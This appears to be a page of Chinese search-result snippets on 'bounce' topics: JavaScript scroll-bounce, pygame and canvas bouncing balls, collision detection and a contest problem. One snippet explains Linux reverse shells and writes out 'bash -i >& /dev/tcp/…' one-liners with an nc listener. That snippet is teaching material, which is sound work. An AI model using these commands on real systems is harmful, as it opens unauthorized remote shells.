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    原生JS实现移动端滑动反弹

    就是类似于 PC端的滚动事件,但是在移动端是没有滚动事件的,所以就要用到 Touch事件结合 js去实现,效果如下: ? 1. 准备工作 什么是移动端的 Touch事件?...brown">列表十       css部分 在列表的父盒子上设定一个 overflow:hidden属性,使超出盒子部分的列表暂时隐藏掉,后面会通过 js...还要做另一件事情,就是获取两点的差值( B.clientY-A.clientY),将这个差值动态赋值给 ul, ul只需要设置向 Y轴方向偏移这个距离,就能实现列表随手指滑动 先来张示意图,怎么通过 js...设定反弹区间 “滑动反弹”,这里的反弹是本篇文章的最后一步,上面说到的问题,就在这里解决。...我们设定一个反弹区间,就是当 centerY的值大于或者小于某个值的时候,让它触发反弹。 设定向上反弹值 向上的值比较简单,设置成“ 0”。为什么是“ 0”呢?

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    【pygame】之小球基础

    个人主页:天寒雨落的博客_CSDN博客-C,CSDN竞赛,python领域博主 目录 python game 小球基础 1.准备工作 2.开始制作 1.创建一个小球 2.创建逐渐变大的小球 3.创建一个自由下落的小球... 4.用if语句实现循环下落 5.做一个循环上下反弹的小球 ---- python game 小球基础 1.准备工作 、1.在文件里找到设置 2.在项目里找到python解释器,点击右边的加号  ...3.搜素pygame并安装  同理下载pgzero安装包 2.开始制作 1.创建一个小球 代码 import pgzrun def draw(): screen.fill('green')...fill后面的green表示设置背景的填充颜色为绿色 filled_circle后面的(400,300)表示圆中心位置坐标,30表示圆的半径,red表示圆的颜色 执行结果 2.创建逐渐变大的小球...400,y),30,'red') def update(): global y y=y+1 if y>600: y=0 pgzrun.go() 5.做一个循环上下反弹的小球

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    基于发布-订阅的原生 JS 插件封装

    用原生 JS 封装一个动画插件。效果如下: ? 这个飞驰的小球看起来是不是特有灵性呢?没错,它就是用原生JS实现的。 接下来,就让我们深入细节,体会其中的奥秘。...一、需求分析 封装一个插件,将小球的 DOM 对象作为参数传入,使得小球在鼠标按下和放开后能够运动,在水平方向做匀减速直线运动,初速度为鼠标移开瞬间的速度,在竖直方向的运动类似于自由落体运动。...并且,小球的始终在不离开浏览器的边界运动,碰到边界会有如图的反弹效果。...; curT += speed; //小球到达视口最右端,反弹 if (curT >= maxL) { this.ele.style.left...; curT += speed; //小球飞到视口顶部,反弹 if (curT >= maxT) { this.ele.style.top

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    HTML5 Canvas开发详解(6) -- 边界碰撞检测

    语法: if(ball.x < ball.radius){ //小球“碰到”左边界时 }else if(ball.x > cnv.width - ball.radius){ //小球“碰到...//tools.js //随机生成一个十六进制颜色值的字符串 tools.getRandomColor = function(){ let color = '#'; for(let...1.4 边界反弹 边界反弹,指的是物体触碰到边界之后就会反弹回来,就像现实世界中小球碰到墙壁反弹一样。 在物体碰到边界后,我们需要做两件事,即保持它的位置不变和改变它的速度力量。...示例:简易俄罗斯方块 //tools.js //判断两个矩形是否发生碰撞 tools.checkRect = function(rectA, rectB){ return !...true : false; } 示例:两个球碰撞 //tools.js //判断两个圆形是否发生碰撞 tools.checkCircle = function(circleB, circleA){

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    【CCF】碰撞的小球

    现在,告诉你线段的长度L,小球数量n,以及n个小球的初始位置,请你计算t秒之后,各个小球的位置。...提示   因为所有小球的初始位置都为偶数,而且线段的长度为偶数,可以证明,不会有三个小球同时相撞,小球到达线段端点以及小球之间的碰撞时刻均为整数。   ...三秒后,第二个小球与第三个小球在位置9发生碰撞,速度反向(注意碰撞位置不一定为偶数),三个小球位置分别为7, 9, 9。   ...四秒后,第一个小球与第二个小球在位置8发生碰撞,速度反向,第三个小球碰到墙壁,速度反向,三个小球位置分别为8, 8, 10。   五秒后,三个小球的位置分别为7, 9, 9。...每秒每个小球移动一个单位长度,小球每次移动之后都需要判断①该小球是否和其他小球发生碰撞,若发生了碰撞则碰撞的俩者都要改变方向;②该小球是否到达边界,若到达了边界也改变方向。

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    Linux反弹shell

    bash -i > /dev/tcp/127.0.0.1/2345bash -i:打开一个bash交互界面 >:重定向 /dev/tcp:调用建立一个socket连接 127.0.0.1:可以任意更改需要反弹到的...IP地址 2345:反弹到的端口 上面的是一个典型的反弹shell的语句,但是这种不能实时地在攻击机输入,攻击机输出,只能在靶机输入东西,然后在攻击机看到 image.png 攻击机使用 nc -lvp...2200监听反弹回来地shell,然后等靶机输入东西后,攻击机才能获取到内容,攻击机不能传输命令 1.2second bash -i >& /dev/tcp/127.0.0.1/2345 0>&1 这种就是交互式...&1 2>&1 和上面的效果一样 1.4fourth bash -i >& /dev/tcp/127.0.0.1/2345 0>&1 值得一提的是,">&"相当于"2>&1",标准错误输出 一个标准的反弹

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    Canvas跟随鼠标炫彩小球

    跟随鼠标炫彩小球 canvas没有让我失望,真的很有意思 实现效果 超级炫酷 ?...实现原理 创建小球 给小球添加随机颜色,随机半径 鼠标移动通过实例化,新增小球 通过调用给原型新增的方法,来实现小球的动画效果 通过定时器不断地更新画布 实现过程 创建小球 通过创建函数收纳小球所有的样式...,再通过实例化函数,将鼠标当前的位置传递给Ball函数,让通过实例化创建出来的小球,最后将创建出来的小球存入数组中,数组中以对象形式存放着每个小球的属性和属性值 function Ball(x, y,...因为生成的小球x,y,r是固定的,所以小球的位置也是固定的,不会改变 因此需要通过改变每个小球的位置和半径让小球动起来,当小球的半径小于0时,调用remove方法将小球从数组中删除 /* 更新小球位置和半径...这是上面调用的remove方法,当this也就是当前小球半径小于0时i,遍历整个数组,找到这个this,也就是”这个小球“,通过调用数组中的方法,删除掉数组的这个元素 splice(index,num

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